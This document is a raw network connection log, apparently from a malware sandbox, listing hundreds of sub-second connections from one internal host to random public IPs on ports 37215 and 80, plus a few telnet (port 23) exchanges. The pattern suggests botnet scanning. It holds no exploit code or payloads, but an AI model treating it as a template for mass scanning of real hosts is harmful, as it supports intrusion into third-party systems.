Jun 10, 2024 15:37:59.463782072 CEST	30401	37215	192.168.2.13	197.243.159.59
Jun 10, 2024 15:37:59.463795900 CEST	30401	37215	192.168.2.13	156.5.176.252
Jun 10, 2024 15:37:59.463800907 CEST	30401	37215	192.168.2.13	41.14.251.141
Jun 10, 2024 15:37:59.463819981 CEST	30401	37215	192.168.2.13	41.117.120.124
Jun 10, 2024 15:37:59.463833094 CEST	30401	37215	192.168.2.13	41.22.121.144
Jun 10, 2024 15:37:59.463841915 CEST	30401	37215	192.168.2.13	197.131.81.43
Jun 10, 2024 15:37:59.463869095 CEST	30401	37215	192.168.2.13	156.26.209.75
Jun 10, 2024 15:37:59.463896990 CEST	30401	37215	192.168.2.13	41.23.78.65
Jun 10, 2024 15:37:59.463898897 CEST	30401	37215	192.168.2.13	197.215.195.191
Jun 10, 2024 15:37:59.463902950 CEST	30401	37215	192.168.2.13	156.168.9.140
Jun 10, 2024 15:37:59.463902950 CEST	30401	37215	192.168.2.13	156.68.38.250
Jun 10, 2024 15:37:59.463918924 CEST	30401	37215	192.168.2.13	197.120.117.53
Jun 10, 2024 15:37:59.463927984 CEST	30401	37215	192.168.2.13	41.80.129.143
Jun 10, 2024 15:37:59.463960886 CEST	30401	37215	192.168.2.13	156.176.122.75
Jun 10, 2024 15:37:59.463970900 CEST	30401	37215	192.168.2.13	156.87.251.128
Jun 10, 2024 15:37:59.463973045 CEST	16833	80	192.168.2.13	2.100.121.174
Jun 10, 2024 15:37:59.463985920 CEST	16833	80	192.168.2.13	166.187.155.48
Jun 10, 2024 15:37:59.463993073 CEST	30401	37215	192.168.2.13	197.233.55.216
Jun 10, 2024 15:37:59.463995934 CEST	16833	80	192.168.2.13	164.56.42.141
Jun 10, 2024 15:37:59.464004040 CEST	16833	80	192.168.2.13	118.169.27.116
Jun 10, 2024 15:37:59.464008093 CEST	30401	37215	192.168.2.13	197.32.219.223
Jun 10, 2024 15:37:59.464008093 CEST	30401	37215	192.168.2.13	197.187.28.60
Jun 10, 2024 15:37:59.464008093 CEST	16833	80	192.168.2.13	121.64.98.238
Jun 10, 2024 15:37:59.464019060 CEST	16833	80	192.168.2.13	156.100.89.106
Jun 10, 2024 15:37:59.464021921 CEST	30401	37215	192.168.2.13	41.177.170.150
Jun 10, 2024 15:37:59.464032888 CEST	16833	80	192.168.2.13	88.193.43.217
Jun 10, 2024 15:37:59.464037895 CEST	16833	80	192.168.2.13	20.140.80.154
Jun 10, 2024 15:37:59.464040041 CEST	30401	37215	192.168.2.13	41.4.129.122
Jun 10, 2024 15:37:59.464047909 CEST	16833	80	192.168.2.13	14.188.180.137
Jun 10, 2024 15:37:59.464057922 CEST	30401	37215	192.168.2.13	197.255.9.221
Jun 10, 2024 15:37:59.464076042 CEST	30401	37215	192.168.2.13	156.94.166.164
Jun 10, 2024 15:37:59.464077950 CEST	30401	37215	192.168.2.13	156.182.228.7
Jun 10, 2024 15:37:59.464078903 CEST	30401	37215	192.168.2.13	41.176.169.70
Jun 10, 2024 15:37:59.464082003 CEST	16833	80	192.168.2.13	217.46.221.207
Jun 10, 2024 15:37:59.464101076 CEST	30401	37215	192.168.2.13	156.128.96.57
Jun 10, 2024 15:37:59.464101076 CEST	30401	37215	192.168.2.13	156.161.72.131
Jun 10, 2024 15:37:59.464107990 CEST	30401	37215	192.168.2.13	41.137.88.51
Jun 10, 2024 15:37:59.464121103 CEST	30401	37215	192.168.2.13	197.225.227.184
Jun 10, 2024 15:37:59.464147091 CEST	30401	37215	192.168.2.13	156.144.108.105
Jun 10, 2024 15:37:59.464149952 CEST	30401	37215	192.168.2.13	156.29.226.172
Jun 10, 2024 15:37:59.464154005 CEST	16833	80	192.168.2.13	64.252.118.141
Jun 10, 2024 15:37:59.464159012 CEST	30401	37215	192.168.2.13	197.208.92.77
Jun 10, 2024 15:37:59.464170933 CEST	16833	80	192.168.2.13	192.4.60.49
Jun 10, 2024 15:37:59.464170933 CEST	16833	80	192.168.2.13	101.201.43.179
Jun 10, 2024 15:37:59.464179993 CEST	16833	80	192.168.2.13	182.143.50.226
Jun 10, 2024 15:37:59.464180946 CEST	30401	37215	192.168.2.13	41.103.200.147
Jun 10, 2024 15:37:59.464184999 CEST	30401	37215	192.168.2.13	197.117.75.155
Jun 10, 2024 15:37:59.464202881 CEST	30401	37215	192.168.2.13	41.88.237.147
Jun 10, 2024 15:37:59.464210987 CEST	30401	37215	192.168.2.13	41.125.23.167
Jun 10, 2024 15:37:59.464225054 CEST	16833	80	192.168.2.13	183.26.223.73
Jun 10, 2024 15:37:59.464226961 CEST	16833	80	192.168.2.13	49.64.20.72
Jun 10, 2024 15:37:59.464248896 CEST	30401	37215	192.168.2.13	156.133.17.150
Jun 10, 2024 15:37:59.464253902 CEST	30401	37215	192.168.2.13	41.92.7.216
Jun 10, 2024 15:37:59.464255095 CEST	16833	80	192.168.2.13	198.58.93.15
Jun 10, 2024 15:37:59.464272976 CEST	30401	37215	192.168.2.13	197.249.37.1
Jun 10, 2024 15:37:59.464277029 CEST	16833	80	192.168.2.13	92.81.126.145
Jun 10, 2024 15:37:59.464286089 CEST	16833	80	192.168.2.13	153.240.121.133
Jun 10, 2024 15:37:59.464287996 CEST	30401	37215	192.168.2.13	197.172.226.233
Jun 10, 2024 15:37:59.464291096 CEST	16833	80	192.168.2.13	8.180.244.27
Jun 10, 2024 15:37:59.464296103 CEST	16833	80	192.168.2.13	96.202.192.87
Jun 10, 2024 15:37:59.464304924 CEST	30401	37215	192.168.2.13	156.183.150.41
Jun 10, 2024 15:37:59.464308977 CEST	16833	80	192.168.2.13	52.143.255.163
Jun 10, 2024 15:37:59.464313030 CEST	16833	80	192.168.2.13	58.105.170.122
Jun 10, 2024 15:37:59.464318991 CEST	16833	80	192.168.2.13	89.145.214.210
Jun 10, 2024 15:37:59.464322090 CEST	16833	80	192.168.2.13	175.220.177.145
Jun 10, 2024 15:37:59.464327097 CEST	30401	37215	192.168.2.13	41.229.165.243
Jun 10, 2024 15:37:59.464342117 CEST	16833	80	192.168.2.13	63.223.27.64
Jun 10, 2024 15:37:59.464344978 CEST	16833	80	192.168.2.13	46.124.133.59
Jun 10, 2024 15:37:59.464348078 CEST	30401	37215	192.168.2.13	197.185.118.210
Jun 10, 2024 15:37:59.464356899 CEST	16833	80	192.168.2.13	160.158.220.221
Jun 10, 2024 15:37:59.464373112 CEST	16833	80	192.168.2.13	74.221.113.140
Jun 10, 2024 15:37:59.464389086 CEST	16833	80	192.168.2.13	220.219.206.99
Jun 10, 2024 15:37:59.464389086 CEST	16833	80	192.168.2.13	154.68.192.29
Jun 10, 2024 15:37:59.464389086 CEST	16833	80	192.168.2.13	184.225.110.223
Jun 10, 2024 15:37:59.464390039 CEST	30401	37215	192.168.2.13	156.87.128.213
Jun 10, 2024 15:37:59.464401960 CEST	16833	80	192.168.2.13	39.251.150.235
Jun 10, 2024 15:37:59.464407921 CEST	16833	80	192.168.2.13	37.242.196.25
Jun 10, 2024 15:37:59.464422941 CEST	30401	37215	192.168.2.13	197.169.37.32
Jun 10, 2024 15:37:59.464423895 CEST	16833	80	192.168.2.13	219.24.143.221
Jun 10, 2024 15:37:59.464423895 CEST	16833	80	192.168.2.13	20.163.218.116
Jun 10, 2024 15:37:59.464426041 CEST	30401	37215	192.168.2.13	156.74.148.193
Jun 10, 2024 15:37:59.464425087 CEST	30401	37215	192.168.2.13	41.11.218.91
Jun 10, 2024 15:37:59.464440107 CEST	30401	37215	192.168.2.13	156.85.168.164
Jun 10, 2024 15:37:59.464447021 CEST	16833	80	192.168.2.13	92.126.239.180
Jun 10, 2024 15:37:59.464447975 CEST	30401	37215	192.168.2.13	41.159.234.132
Jun 10, 2024 15:37:59.464447975 CEST	30401	37215	192.168.2.13	197.159.57.193
Jun 10, 2024 15:37:59.464447975 CEST	16833	80	192.168.2.13	161.106.196.70
Jun 10, 2024 15:37:59.464447975 CEST	16833	80	192.168.2.13	120.127.248.215
Jun 10, 2024 15:37:59.464457989 CEST	16833	80	192.168.2.13	80.246.211.214
Jun 10, 2024 15:37:59.464461088 CEST	16833	80	192.168.2.13	24.223.44.225
Jun 10, 2024 15:37:59.464469910 CEST	30401	37215	192.168.2.13	41.148.67.86
Jun 10, 2024 15:37:59.464487076 CEST	16833	80	192.168.2.13	178.116.76.220
Jun 10, 2024 15:37:59.464504957 CEST	16833	80	192.168.2.13	76.87.100.69
Jun 10, 2024 15:37:59.464505911 CEST	16833	80	192.168.2.13	200.227.24.116
Jun 10, 2024 15:37:59.464513063 CEST	16833	80	192.168.2.13	80.234.35.77
Jun 10, 2024 15:37:59.464514017 CEST	16833	80	192.168.2.13	86.248.77.229
Jun 10, 2024 15:37:59.464515924 CEST	30401	37215	192.168.2.13	156.193.172.152
Jun 10, 2024 15:37:59.464524984 CEST	16833	80	192.168.2.13	20.192.68.43
Jun 10, 2024 15:37:59.464524984 CEST	30401	37215	192.168.2.13	41.199.79.204
Jun 10, 2024 15:37:59.464528084 CEST	30401	37215	192.168.2.13	41.231.47.111
Jun 10, 2024 15:37:59.464530945 CEST	23	60806	132.215.221.250	192.168.2.13
Jun 10, 2024 15:37:59.464545965 CEST	30401	37215	192.168.2.13	41.101.247.5
Jun 10, 2024 15:37:59.464545965 CEST	30401	37215	192.168.2.13	41.30.242.53
Jun 10, 2024 15:37:59.464549065 CEST	16833	80	192.168.2.13	64.204.248.79
Jun 10, 2024 15:37:59.464551926 CEST	16833	80	192.168.2.13	205.31.133.92
Jun 10, 2024 15:37:59.464551926 CEST	16833	80	192.168.2.13	65.70.76.83
Jun 10, 2024 15:37:59.464551926 CEST	30401	37215	192.168.2.13	41.18.25.58
Jun 10, 2024 15:37:59.464560986 CEST	16833	80	192.168.2.13	180.39.72.148
Jun 10, 2024 15:37:59.464560986 CEST	30401	37215	192.168.2.13	197.11.108.159
Jun 10, 2024 15:37:59.464562893 CEST	16833	80	192.168.2.13	61.60.152.125
Jun 10, 2024 15:37:59.464572906 CEST	60806	23	192.168.2.13	132.215.221.250
Jun 10, 2024 15:37:59.464579105 CEST	30401	37215	192.168.2.13	156.245.214.148
Jun 10, 2024 15:37:59.464595079 CEST	30401	37215	192.168.2.13	197.130.54.44
Jun 10, 2024 15:37:59.464595079 CEST	16833	80	192.168.2.13	178.75.129.135
Jun 10, 2024 15:37:59.464611053 CEST	30401	37215	192.168.2.13	197.6.221.182
Jun 10, 2024 15:37:59.464618921 CEST	16833	80	192.168.2.13	77.158.144.153
Jun 10, 2024 15:37:59.464618921 CEST	16833	80	192.168.2.13	73.226.206.80
Jun 10, 2024 15:37:59.464618921 CEST	16833	80	192.168.2.13	85.213.97.130
Jun 10, 2024 15:37:59.464620113 CEST	16833	80	192.168.2.13	199.14.48.234
Jun 10, 2024 15:37:59.464629889 CEST	16833	80	192.168.2.13	35.110.254.128
Jun 10, 2024 15:37:59.464637041 CEST	16833	80	192.168.2.13	113.100.75.240
Jun 10, 2024 15:37:59.464646101 CEST	16833	80	192.168.2.13	147.13.253.87
Jun 10, 2024 15:37:59.464646101 CEST	16833	80	192.168.2.13	189.4.205.250
Jun 10, 2024 15:37:59.464648008 CEST	16833	80	192.168.2.13	63.100.122.35
Jun 10, 2024 15:37:59.464652061 CEST	30401	37215	192.168.2.13	197.77.27.57
Jun 10, 2024 15:37:59.464652061 CEST	16833	80	192.168.2.13	73.27.208.44
Jun 10, 2024 15:37:59.464668036 CEST	16833	80	192.168.2.13	43.197.76.131
Jun 10, 2024 15:37:59.464678049 CEST	16833	80	192.168.2.13	188.19.125.242
Jun 10, 2024 15:37:59.464684010 CEST	16833	80	192.168.2.13	136.187.169.238
Jun 10, 2024 15:37:59.464689016 CEST	16833	80	192.168.2.13	155.242.180.94
Jun 10, 2024 15:37:59.464695930 CEST	16833	80	192.168.2.13	97.78.180.40
Jun 10, 2024 15:37:59.464708090 CEST	16833	80	192.168.2.13	80.79.4.13
Jun 10, 2024 15:37:59.464713097 CEST	30401	37215	192.168.2.13	156.127.85.183
Jun 10, 2024 15:37:59.464715004 CEST	30401	37215	192.168.2.13	197.53.181.102
Jun 10, 2024 15:37:59.464715004 CEST	16833	80	192.168.2.13	172.186.91.166
Jun 10, 2024 15:37:59.464721918 CEST	16833	80	192.168.2.13	223.101.71.177
Jun 10, 2024 15:37:59.464734077 CEST	30401	37215	192.168.2.13	156.91.67.212
Jun 10, 2024 15:37:59.464735985 CEST	30401	37215	192.168.2.13	156.131.225.23
Jun 10, 2024 15:37:59.464736938 CEST	30401	37215	192.168.2.13	156.134.62.117
Jun 10, 2024 15:37:59.464739084 CEST	16833	80	192.168.2.13	18.56.173.78
Jun 10, 2024 15:37:59.464739084 CEST	16833	80	192.168.2.13	163.111.8.68
Jun 10, 2024 15:37:59.464754105 CEST	30401	37215	192.168.2.13	41.194.69.224
Jun 10, 2024 15:37:59.464756012 CEST	16833	80	192.168.2.13	119.73.219.135
Jun 10, 2024 15:37:59.464756012 CEST	30401	37215	192.168.2.13	156.175.50.158
Jun 10, 2024 15:37:59.464772940 CEST	30401	37215	192.168.2.13	156.108.94.105
Jun 10, 2024 15:37:59.464775085 CEST	16833	80	192.168.2.13	47.205.42.118
Jun 10, 2024 15:37:59.464782000 CEST	16833	80	192.168.2.13	153.158.156.7
Jun 10, 2024 15:37:59.464795113 CEST	30401	37215	192.168.2.13	197.171.45.100
Jun 10, 2024 15:37:59.464796066 CEST	16833	80	192.168.2.13	12.226.179.166
Jun 10, 2024 15:37:59.464798927 CEST	16833	80	192.168.2.13	110.105.30.144
Jun 10, 2024 15:37:59.464799881 CEST	30401	37215	192.168.2.13	197.252.67.126
Jun 10, 2024 15:37:59.464802980 CEST	30401	37215	192.168.2.13	197.177.55.128
Jun 10, 2024 15:37:59.464802980 CEST	30401	37215	192.168.2.13	156.22.231.73
Jun 10, 2024 15:37:59.464814901 CEST	16833	80	192.168.2.13	92.198.235.153
Jun 10, 2024 15:37:59.464814901 CEST	30401	37215	192.168.2.13	197.3.144.181
Jun 10, 2024 15:37:59.464819908 CEST	30401	37215	192.168.2.13	41.154.242.218
Jun 10, 2024 15:37:59.464819908 CEST	16833	80	192.168.2.13	41.255.9.53
Jun 10, 2024 15:37:59.464819908 CEST	30401	37215	192.168.2.13	197.122.240.56
Jun 10, 2024 15:37:59.464829922 CEST	30401	37215	192.168.2.13	197.90.255.62
Jun 10, 2024 15:37:59.464835882 CEST	30401	37215	192.168.2.13	197.65.165.66
Jun 10, 2024 15:37:59.464838028 CEST	16833	80	192.168.2.13	115.14.180.117
Jun 10, 2024 15:37:59.464869022 CEST	16833	80	192.168.2.13	27.107.20.99
Jun 10, 2024 15:37:59.464869022 CEST	30401	37215	192.168.2.13	156.108.239.24
Jun 10, 2024 15:37:59.464869022 CEST	16833	80	192.168.2.13	164.124.249.96
Jun 10, 2024 15:37:59.464869022 CEST	16833	80	192.168.2.13	104.146.129.255
Jun 10, 2024 15:37:59.464886904 CEST	30401	37215	192.168.2.13	41.204.128.204
Jun 10, 2024 15:37:59.464886904 CEST	16833	80	192.168.2.13	49.166.164.65
Jun 10, 2024 15:37:59.464888096 CEST	30401	37215	192.168.2.13	197.113.110.123
Jun 10, 2024 15:37:59.464893103 CEST	16833	80	192.168.2.13	154.157.108.239
Jun 10, 2024 15:37:59.464910030 CEST	16833	80	192.168.2.13	172.41.133.121
Jun 10, 2024 15:37:59.464910030 CEST	16833	80	192.168.2.13	112.185.246.97
Jun 10, 2024 15:37:59.464922905 CEST	16833	80	192.168.2.13	137.192.36.34
Jun 10, 2024 15:37:59.464925051 CEST	16833	80	192.168.2.13	151.245.233.148
Jun 10, 2024 15:37:59.464925051 CEST	30401	37215	192.168.2.13	156.165.153.169
Jun 10, 2024 15:37:59.464934111 CEST	30401	37215	192.168.2.13	156.64.50.166
Jun 10, 2024 15:37:59.464934111 CEST	16833	80	192.168.2.13	8.60.14.111
Jun 10, 2024 15:37:59.464940071 CEST	30401	37215	192.168.2.13	156.138.70.55
Jun 10, 2024 15:37:59.464956045 CEST	16833	80	192.168.2.13	87.244.191.238
Jun 10, 2024 15:37:59.464958906 CEST	16833	80	192.168.2.13	165.42.5.94
Jun 10, 2024 15:37:59.464960098 CEST	30401	37215	192.168.2.13	41.177.65.80
Jun 10, 2024 15:37:59.464960098 CEST	16833	80	192.168.2.13	103.180.106.234
Jun 10, 2024 15:37:59.464971066 CEST	16833	80	192.168.2.13	47.31.252.153
Jun 10, 2024 15:37:59.464972019 CEST	16833	80	192.168.2.13	116.64.211.112
Jun 10, 2024 15:37:59.464996099 CEST	30401	37215	192.168.2.13	156.30.46.175
Jun 10, 2024 15:37:59.465008974 CEST	16833	80	192.168.2.13	121.66.37.22
Jun 10, 2024 15:37:59.465009928 CEST	16833	80	192.168.2.13	67.138.158.3
Jun 10, 2024 15:37:59.465010881 CEST	30401	37215	192.168.2.13	156.122.43.20
Jun 10, 2024 15:37:59.465023041 CEST	16833	80	192.168.2.13	142.93.84.53
Jun 10, 2024 15:37:59.465024948 CEST	16833	80	192.168.2.13	82.31.158.212
Jun 10, 2024 15:37:59.465024948 CEST	30401	37215	192.168.2.13	156.21.253.10
Jun 10, 2024 15:37:59.465039015 CEST	30401	37215	192.168.2.13	197.45.49.45
Jun 10, 2024 15:37:59.465040922 CEST	16833	80	192.168.2.13	177.132.104.239
Jun 10, 2024 15:37:59.465040922 CEST	16833	80	192.168.2.13	173.206.211.211
Jun 10, 2024 15:37:59.465040922 CEST	30401	37215	192.168.2.13	41.217.166.207
Jun 10, 2024 15:37:59.465042114 CEST	16833	80	192.168.2.13	82.115.241.32
Jun 10, 2024 15:37:59.465045929 CEST	30401	37215	192.168.2.13	156.86.67.41
Jun 10, 2024 15:37:59.465059996 CEST	16833	80	192.168.2.13	41.205.211.13
Jun 10, 2024 15:37:59.465065002 CEST	16833	80	192.168.2.13	80.138.184.143
Jun 10, 2024 15:37:59.465070009 CEST	16833	80	192.168.2.13	209.251.75.100
Jun 10, 2024 15:37:59.465070009 CEST	16833	80	192.168.2.13	8.67.93.32
Jun 10, 2024 15:37:59.465080023 CEST	16833	80	192.168.2.13	204.85.79.250
Jun 10, 2024 15:37:59.465080976 CEST	16833	80	192.168.2.13	221.192.131.182
Jun 10, 2024 15:37:59.465094090 CEST	30401	37215	192.168.2.13	41.232.218.37
Jun 10, 2024 15:37:59.465095043 CEST	16833	80	192.168.2.13	206.109.139.234
Jun 10, 2024 15:37:59.465112925 CEST	16833	80	192.168.2.13	85.165.52.150
Jun 10, 2024 15:37:59.465112925 CEST	16833	80	192.168.2.13	181.48.200.125
Jun 10, 2024 15:37:59.465122938 CEST	16833	80	192.168.2.13	141.237.220.58
Jun 10, 2024 15:37:59.465126991 CEST	30401	37215	192.168.2.13	156.160.33.207
Jun 10, 2024 15:37:59.465131998 CEST	16833	80	192.168.2.13	107.87.148.44
Jun 10, 2024 15:37:59.465140104 CEST	16833	80	192.168.2.13	76.193.135.136
Jun 10, 2024 15:37:59.465146065 CEST	30401	37215	192.168.2.13	156.70.51.128
Jun 10, 2024 15:37:59.465154886 CEST	16833	80	192.168.2.13	23.44.133.64
Jun 10, 2024 15:37:59.465169907 CEST	16833	80	192.168.2.13	98.50.27.72
Jun 10, 2024 15:37:59.465173006 CEST	30401	37215	192.168.2.13	197.131.147.145
Jun 10, 2024 15:37:59.465174913 CEST	16833	80	192.168.2.13	27.83.114.105
Jun 10, 2024 15:37:59.465188026 CEST	16833	80	192.168.2.13	58.79.14.101
Jun 10, 2024 15:37:59.465188980 CEST	16833	80	192.168.2.13	115.122.222.39
Jun 10, 2024 15:37:59.465188980 CEST	16833	80	192.168.2.13	52.219.121.87
Jun 10, 2024 15:37:59.465194941 CEST	16833	80	192.168.2.13	69.55.0.87
Jun 10, 2024 15:37:59.465209007 CEST	16833	80	192.168.2.13	78.210.96.62
Jun 10, 2024 15:37:59.465209007 CEST	16833	80	192.168.2.13	69.98.155.131
Jun 10, 2024 15:37:59.465210915 CEST	30401	37215	192.168.2.13	41.109.175.50
Jun 10, 2024 15:37:59.465220928 CEST	16833	80	192.168.2.13	186.42.206.105
Jun 10, 2024 15:37:59.465231895 CEST	16833	80	192.168.2.13	19.213.127.183
Jun 10, 2024 15:37:59.465240955 CEST	30401	37215	192.168.2.13	41.255.7.58
Jun 10, 2024 15:37:59.465241909 CEST	30401	37215	192.168.2.13	41.60.76.225
Jun 10, 2024 15:37:59.465250015 CEST	16833	80	192.168.2.13	51.28.4.140
Jun 10, 2024 15:37:59.465255976 CEST	16833	80	192.168.2.13	97.44.41.112
Jun 10, 2024 15:37:59.465256929 CEST	16833	80	192.168.2.13	220.3.14.39
Jun 10, 2024 15:37:59.465260983 CEST	30401	37215	192.168.2.13	41.32.20.36
Jun 10, 2024 15:37:59.465265036 CEST	30401	37215	192.168.2.13	41.212.198.1
Jun 10, 2024 15:37:59.465265036 CEST	16833	80	192.168.2.13	170.152.145.43
Jun 10, 2024 15:37:59.465285063 CEST	16833	80	192.168.2.13	107.129.25.87
Jun 10, 2024 15:37:59.465287924 CEST	30401	37215	192.168.2.13	197.171.235.195
Jun 10, 2024 15:37:59.465300083 CEST	16833	80	192.168.2.13	83.164.93.245
Jun 10, 2024 15:37:59.465302944 CEST	30401	37215	192.168.2.13	156.173.199.53
Jun 10, 2024 15:37:59.465302944 CEST	16833	80	192.168.2.13	83.55.235.157
Jun 10, 2024 15:37:59.465306044 CEST	16833	80	192.168.2.13	47.57.140.37
Jun 10, 2024 15:37:59.465320110 CEST	16833	80	192.168.2.13	146.75.232.210
Jun 10, 2024 15:37:59.465322018 CEST	30401	37215	192.168.2.13	156.146.189.38
Jun 10, 2024 15:37:59.465322018 CEST	16833	80	192.168.2.13	88.210.139.240
Jun 10, 2024 15:37:59.465322018 CEST	16833	80	192.168.2.13	92.5.213.185
Jun 10, 2024 15:37:59.465322971 CEST	16833	80	192.168.2.13	136.204.254.222
Jun 10, 2024 15:37:59.465322971 CEST	30401	37215	192.168.2.13	41.19.65.133
Jun 10, 2024 15:37:59.465346098 CEST	16833	80	192.168.2.13	173.250.73.80
Jun 10, 2024 15:37:59.465348005 CEST	30401	37215	192.168.2.13	156.113.189.207
Jun 10, 2024 15:37:59.465349913 CEST	30401	37215	192.168.2.13	156.38.45.195
Jun 10, 2024 15:37:59.465357065 CEST	16833	80	192.168.2.13	2.198.225.49
Jun 10, 2024 15:37:59.465369940 CEST	16833	80	192.168.2.13	121.227.47.242
Jun 10, 2024 15:37:59.465369940 CEST	16833	80	192.168.2.13	88.37.96.26
Jun 10, 2024 15:37:59.465372086 CEST	30401	37215	192.168.2.13	41.100.69.139
Jun 10, 2024 15:37:59.465378046 CEST	16833	80	192.168.2.13	188.184.250.99
Jun 10, 2024 15:37:59.465385914 CEST	30401	37215	192.168.2.13	197.31.36.162
Jun 10, 2024 15:37:59.465399027 CEST	16833	80	192.168.2.13	84.232.253.129
Jun 10, 2024 15:37:59.465400934 CEST	30401	37215	192.168.2.13	156.41.151.47
Jun 10, 2024 15:37:59.465403080 CEST	16833	80	192.168.2.13	200.10.68.151
Jun 10, 2024 15:37:59.465415955 CEST	16833	80	192.168.2.13	73.47.8.22
Jun 10, 2024 15:37:59.465425014 CEST	16833	80	192.168.2.13	4.177.12.33
Jun 10, 2024 15:37:59.465426922 CEST	30401	37215	192.168.2.13	197.214.107.135
Jun 10, 2024 15:37:59.465435982 CEST	30401	37215	192.168.2.13	156.228.162.31
Jun 10, 2024 15:37:59.465441942 CEST	16833	80	192.168.2.13	115.76.119.216
Jun 10, 2024 15:37:59.465447903 CEST	30401	37215	192.168.2.13	156.150.116.27
Jun 10, 2024 15:37:59.465456009 CEST	16833	80	192.168.2.13	190.249.228.211
Jun 10, 2024 15:37:59.465459108 CEST	30401	37215	192.168.2.13	41.241.132.208
Jun 10, 2024 15:37:59.465459108 CEST	16833	80	192.168.2.13	136.239.128.138
Jun 10, 2024 15:37:59.465476990 CEST	16833	80	192.168.2.13	12.159.233.53
Jun 10, 2024 15:37:59.465480089 CEST	30401	37215	192.168.2.13	156.60.84.41
Jun 10, 2024 15:37:59.465480089 CEST	16833	80	192.168.2.13	168.33.90.154
Jun 10, 2024 15:37:59.465482950 CEST	16833	80	192.168.2.13	122.141.63.206
Jun 10, 2024 15:37:59.465487003 CEST	30401	37215	192.168.2.13	156.99.48.187
Jun 10, 2024 15:37:59.465501070 CEST	16833	80	192.168.2.13	110.121.243.73
Jun 10, 2024 15:37:59.465501070 CEST	16833	80	192.168.2.13	137.247.210.119
Jun 10, 2024 15:37:59.465501070 CEST	16833	80	192.168.2.13	150.198.208.221
Jun 10, 2024 15:37:59.465501070 CEST	30401	37215	192.168.2.13	41.205.158.36
Jun 10, 2024 15:37:59.465516090 CEST	16833	80	192.168.2.13	119.121.108.109
Jun 10, 2024 15:37:59.465517044 CEST	16833	80	192.168.2.13	205.60.129.238
Jun 10, 2024 15:37:59.465523005 CEST	30401	37215	192.168.2.13	197.204.146.228
Jun 10, 2024 15:37:59.465538025 CEST	16833	80	192.168.2.13	193.53.157.120
Jun 10, 2024 15:37:59.465538025 CEST	16833	80	192.168.2.13	45.28.167.223
Jun 10, 2024 15:37:59.465544939 CEST	16833	80	192.168.2.13	52.4.8.154
Jun 10, 2024 15:37:59.465564966 CEST	16833	80	192.168.2.13	136.68.208.56
Jun 10, 2024 15:37:59.465568066 CEST	30401	37215	192.168.2.13	197.1.252.144
Jun 10, 2024 15:37:59.465575933 CEST	16833	80	192.168.2.13	89.252.202.124
Jun 10, 2024 15:37:59.465575933 CEST	16833	80	192.168.2.13	12.16.153.3
Jun 10, 2024 15:37:59.465579987 CEST	16833	80	192.168.2.13	202.118.99.239
Jun 10, 2024 15:37:59.465593100 CEST	30401	37215	192.168.2.13	156.51.21.135
Jun 10, 2024 15:37:59.465598106 CEST	16833	80	192.168.2.13	218.133.20.173
Jun 10, 2024 15:37:59.465610981 CEST	30401	37215	192.168.2.13	197.101.97.78
Jun 10, 2024 15:37:59.465610981 CEST	16833	80	192.168.2.13	188.31.225.56
Jun 10, 2024 15:37:59.465617895 CEST	30401	37215	192.168.2.13	41.39.68.93
Jun 10, 2024 15:37:59.465617895 CEST	30401	37215	192.168.2.13	197.170.222.21
Jun 10, 2024 15:37:59.465617895 CEST	16833	80	192.168.2.13	111.175.70.96
Jun 10, 2024 15:37:59.465626955 CEST	16833	80	192.168.2.13	187.133.240.97
Jun 10, 2024 15:37:59.465629101 CEST	30401	37215	192.168.2.13	41.196.206.160
Jun 10, 2024 15:37:59.465636015 CEST	16833	80	192.168.2.13	149.5.31.6
Jun 10, 2024 15:37:59.465641022 CEST	16833	80	192.168.2.13	167.35.93.166
Jun 10, 2024 15:37:59.465645075 CEST	16833	80	192.168.2.13	68.123.168.234
Jun 10, 2024 15:37:59.465656996 CEST	16833	80	192.168.2.13	220.210.245.203
Jun 10, 2024 15:37:59.465672016 CEST	16833	80	192.168.2.13	143.158.42.9
Jun 10, 2024 15:37:59.465672016 CEST	16833	80	192.168.2.13	170.184.94.59
Jun 10, 2024 15:37:59.465693951 CEST	16833	80	192.168.2.13	139.123.232.75
Jun 10, 2024 15:37:59.465699911 CEST	16833	80	192.168.2.13	195.209.166.102
Jun 10, 2024 15:37:59.465713978 CEST	23	39446	218.209.158.189	192.168.2.13
Jun 10, 2024 15:37:59.465718985 CEST	16833	80	192.168.2.13	200.13.68.164
Jun 10, 2024 15:37:59.465720892 CEST	16833	80	192.168.2.13	37.138.35.29
Jun 10, 2024 15:37:59.465724945 CEST	16833	80	192.168.2.13	13.46.58.152
Jun 10, 2024 15:37:59.465751886 CEST	39446	23	192.168.2.13	218.209.158.189
Jun 10, 2024 15:37:59.465761900 CEST	16833	80	192.168.2.13	193.229.222.52
Jun 10, 2024 15:37:59.465761900 CEST	16833	80	192.168.2.13	105.67.101.77
Jun 10, 2024 15:37:59.465779066 CEST	16833	80	192.168.2.13	185.189.13.33
Jun 10, 2024 15:37:59.465797901 CEST	16833	80	192.168.2.13	45.132.197.239
Jun 10, 2024 15:37:59.465801001 CEST	16833	80	192.168.2.13	145.246.236.195
Jun 10, 2024 15:37:59.465814114 CEST	16833	80	192.168.2.13	85.237.4.11
Jun 10, 2024 15:37:59.465821981 CEST	16833	80	192.168.2.13	67.54.111.130
Jun 10, 2024 15:37:59.465837002 CEST	16833	80	192.168.2.13	60.141.204.161
Jun 10, 2024 15:37:59.465858936 CEST	16833	80	192.168.2.13	27.36.57.141
Jun 10, 2024 15:37:59.465859890 CEST	16833	80	192.168.2.13	145.158.147.176
Jun 10, 2024 15:37:59.465864897 CEST	16833	80	192.168.2.13	185.201.148.124
Jun 10, 2024 15:37:59.465871096 CEST	16833	80	192.168.2.13	19.61.0.191
Jun 10, 2024 15:37:59.465890884 CEST	16833	80	192.168.2.13	195.107.225.20
Jun 10, 2024 15:37:59.465905905 CEST	16833	80	192.168.2.13	93.28.174.184
Jun 10, 2024 15:37:59.465919018 CEST	16833	80	192.168.2.13	129.245.96.99
Jun 10, 2024 15:37:59.465929031 CEST	16833	80	192.168.2.13	96.47.167.143
Jun 10, 2024 15:37:59.465955019 CEST	16833	80	192.168.2.13	67.103.134.69
Jun 10, 2024 15:37:59.465955019 CEST	16833	80	192.168.2.13	14.147.134.96
Jun 10, 2024 15:37:59.465961933 CEST	16833	80	192.168.2.13	25.46.65.164
Jun 10, 2024 15:37:59.465967894 CEST	16833	80	192.168.2.13	206.156.252.217
Jun 10, 2024 15:37:59.465967894 CEST	16833	80	192.168.2.13	133.209.160.98
Jun 10, 2024 15:37:59.465976954 CEST	16833	80	192.168.2.13	150.220.247.133
Jun 10, 2024 15:37:59.465977907 CEST	16833	80	192.168.2.13	32.31.161.134
